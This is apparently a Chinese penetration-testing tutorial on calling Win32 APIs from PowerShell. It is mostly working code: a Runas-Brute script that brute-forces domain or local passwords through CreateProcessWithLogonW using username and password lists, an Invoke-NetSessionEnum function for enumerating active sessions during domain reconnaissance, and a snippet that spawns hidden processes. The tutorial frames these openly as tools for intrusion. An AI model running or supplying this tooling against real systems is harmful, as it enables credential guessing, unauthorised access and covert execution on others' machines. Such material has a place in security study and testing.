win32API
Powershell还有一大强大之处就是能调用Win32-Api(废话),这给我们带来了极大的便利,也就是API能实现的功能当我们在渗透的过程中我们能轻而易举的实现,而我们只需要在对方机器执行一条命令即可。
下面我们通过几个脚本来介绍我们如何通过Powershell来调用Win32Api,从而达到学习的目的,也能够为大家的脚本工具增添xx….:)
Runas
runas.exe是一个Windows自带的程序,一条简单的命令runas /user:corp\bob cmd
可以用域内另外一个用户的身份开一个shell,当然需要你输入密码
这次我们直接通过Powershell来实现runas,但是我们就不介绍他直接的用处了,那么runas我们能想到的利用场景还有什么呢?我们可以通过输入密码对用户的密码进行爆破。
functionRunas-Brute{ <# .SYNOPSIS Parameters: -UserListSpecifiy usernameList. -PasswordListSpecify passwordList. -DomainSpecify domain.Defaults to localhost ifnot specified. -LogonType dwLogonFlags: 0x00000001--> LOGON_WITH_PROFILE Log on,then load the user profile in the HKEY_USERS registry key.Thefunction returns after the profile is loaded. 0x00000002--> LOGON_NETCREDENTIALS_ONLY (=/netonly) Log on, but use the specified credentials on the network only. Thenew process uses the same token as the caller, but the system creates a new logon session within LSA,and the process uses the specified credentials as the default credentials. -BinaryFull path of the module to be executed. -ArgsArguments to pass to the module, e.g."/c calc.exe".Defaults to $null ifnot specified. .EXAMPLE Start cmd with a local account C:\PS>Invoke-Runas-UserListSomeAccountList-PasswordListSomePassList-Binary C:\Windows\System32\cmd.exe -LogonType0x1 .EXAMPLE Start cmd with remote credentials.Equivalent to "/netonly"in runas. C:\PS>Invoke-Runas-UserListSomeAccountList-PasswordListSomePassList-DomainSomeDomain-Binary C:\Windows\System32\cmd.exe -LogonType0x2 #> param ( [Parameter(Mandatory= $True)] [string]$UserList, [Parameter(Mandatory= $True)] [string]$PasswordList, [Parameter(Mandatory= $False)] [string]$Domain=".", [Parameter(Mandatory= $True)] [string]$Binary, [Parameter(Mandatory= $False)] [string]$Args=$null, [Parameter(Mandatory= $True)] [int][ValidateSet(1,2)] [string]$LogonType ) Add-Type-TypeDefinition@" using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Security.Principal; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } public static class Advapi32 { [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] public static extern bool CreateProcessWithLogonW( String userName, String domain, String password, int logonFlags, String applicationName, String commandLine, int creationFlags, int environment, String currentDirectory, ref STARTUPINFO startupInfo, out PROCESS_INFORMATION processInformation); } public static class Kernel32 { [DllImport("kernel32.dll")] public static extern uint GetLastError(); } "@ # StartupInfo Struct $StartupInfo =New-Object STARTUPINFO $StartupInfo.dwFlags =0x00000001 $StartupInfo.wShowWindow =0x0001 $StartupInfo.cb =[System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # ProcessInfo Struct $ProcessInfo =New-Object PROCESS_INFORMATION # 创建一个在当前目录的shell $GetCurrentPath =(Get-Item-Path".\" -Verbose).FullName echo "`n[>] Calling Advapi32::CreateProcessWithLogonW" $usernames = Get-Content -ErrorAction SilentlyContinue -Path $UserList $passwords = Get-Content -ErrorAction SilentlyContinue -Path $PasswordList if (!$usernames) { $usernames = $UserList Write-Verbose "UserList file does not exist." Write-Verbose $usernames } if (!$passwords) { $passwords = $PasswordList Write-Verbose "PasswordList file does not exist." Write-Verbose $passwords } :UsernameLoop foreach ($username in $usernames) { foreach ($Password in $Passwords) { $CallResult = [Advapi32]::CreateProcessWithLogonW( $User, $Domain, $Password, $LogonType, $Binary, $Args, 0x04000000, $null, $GetCurrentPath, [ref]$StartupInfo, [ref]$ProcessInfo) if (!$CallResult) { echo "==> $((New-Object System.ComponentModel.Win32Exception([int][Kernel32]::GetLastError())).Message)" echo "Test: " , $User , $password } else { echo "`n[+]Success, process details:" Get-Process -Id $ProcessInfo.dwProcessId echo "Test:" , $User , $password break UsernameLoop } } } }
这是整个脚本的代码,那么下面就是运行的结果,我们只需要指定好他的字典文件即可
NetSessionEnum
下面一个简单的介绍NetSessionEnum。首先我们需要了解的是,在真实的测试过程中我们需要知道域内的组织架构,域内的活动机器等等。那么可以提供的工具也有很多,比如:PVEFindADUser.exe psloggedon.exe netsess.exe hunter.exe等等,那么我们还是选择powershell作为我们的最佳利用工具,其实上面讲到的工具都是调用了NetSessionEnum API,那么我们Powershell也能够非常方便的调用此API,而且最重要的一点,我们并不需要域管的权限,下面我们来看一下这里如何实现。
functionInvoke-NetSessionEnum{ <# .SYNOPSIS 使用NetSessionEnum去列出目前的活动? .EXAMPLE PS>Invoke-NetSessionEnum-HostNameSomeHostName #> param ( [Parameter(Mandatory= $True)] [string]$HostName ) Add-Type-TypeDefinition@" using System; using System.Diagnostics; using System.Runtime.InteropServices; [StructLayout(LayoutKind.Sequential)] public struct SESSION_INFO_10 { [MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost; [MarshalAs(UnmanagedType.LPWStr)]public string DomainUser; public uint SessionTime; public uint IdleTime; } public static class Netapi32 { [DllImport("Netapi32.dll", SetLastError=true)] public static extern int NetSessionEnum( [In,MarshalAs(UnmanagedType.LPWStr)] string ServerName, [In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName, [In,MarshalAs(UnmanagedType.LPWStr)] string UserName, Int32 Level, out IntPtr bufptr, int prefmaxlen, ref Int32 entriesread, ref Int32 totalentries, ref Int32 resume_handle); [DllImport("Netapi32.dll", SetLastError=true)] public static extern int NetApiBufferFree( IntPtr Buffer); } "@ # 创建 SessionInfo10 结构 $SessionInfo10 =New-Object SESSION_INFO_10 $SessionInfo10StructSize =[System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10)# Grab size to loop bufptr $SessionInfo10 = $SessionInfo10.GetType() # NetSessionEnum 的参数 $OutBuffPtr =[IntPtr]::Zero $EntriesRead = $TotalEntries = $ResumeHandle =0 $CallResult =[Netapi32]::NetSessionEnum($HostName,"","",10,[ref]$OutBuffPtr,-1,[ref]$EntriesRead,[ref]$TotalEntries,[ref]$ResumeHandle) if($CallResult -ne 0){ echo "something wrong!`nError Code: $CallResult" } else{ if([System.IntPtr]::Size-eq 4){ echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())" } else{ echo "`nNetapi32::NetSessionEnum Buffer Offset --> 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())" } echo "Result-set contains $EntriesRead session(s)!" # Change buffer offset to int $BufferOffset = $OutBuffPtr.ToInt64() # Loop buffer entries and cast pointers as SessionInfo10 for($Count =0;($Count -lt $EntriesRead); $Count++){ $NewIntPtr =New-ObjectSystem.Intptr-ArgumentList $BufferOffset $Info =[system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr,[type]$SessionInfo10) $Info $BufferOffset = $BufferOffset + $SessionInfo10StructSize } echo "`nCalling NetApiBufferFree, no memleaks here!" [Netapi32]::NetApiBufferFree($OutBuffPtr)|Out-Null } }
CreateProcess
最后我们在看一个我们用的最多的API例子:进程创建,我们需要远程创建一个没有窗口而去token由我们指定的进程,至于为什么要这么干大家可以自己领悟。那么CreateProcess API就能满足我们的需求,我们来看一个简单的例子:
Add-Type-TypeDefinition@" using System; using System.Diagnostics; using System.Runtime.InteropServices; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public int length; public IntPtr lpSecurityDescriptor; public bool bInheritHandle; } public static class Kernel32 { [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CreateProcess( string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); } "@ # StartupInfo Struct $StartupInfo =New-Object STARTUPINFO $StartupInfo.dwFlags =0x00000001# STARTF_USESHOWWINDOW $StartupInfo.wShowWindow =0x0000# SW_HIDE $StartupInfo.cb =[System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)# Struct Size # ProcessInfo Struct $ProcessInfo =New-Object PROCESS_INFORMATION # SECURITY_ATTRIBUTES Struct (Process & Thread) $SecAttr =New-Object SECURITY_ATTRIBUTES $SecAttr.Length=[System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr) # CreateProcess In CurrentDirectory $GetCurrentPath =(Get-Item-Path".\" -Verbose).FullName # Call CreateProcess [Kernel32]::CreateProcess("C:\Windows\System32\cmd.exe", "/c calc.exe", [ref] $SecAttr, [ref] $SecAttr, $false, 0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null
其中窗口问题是在$StartupInfo.wShowWindow = 0x0000 # SW_HIDE
这里解决的,下面是测试效果:
可以看到计算器是在cmd进程下面的,那么还有一个需求是使用什么Token来打开一个进程,我们使用API:CreateProcessAsUserW那么大家可以去研究一下如何完成使用特定token打开进程。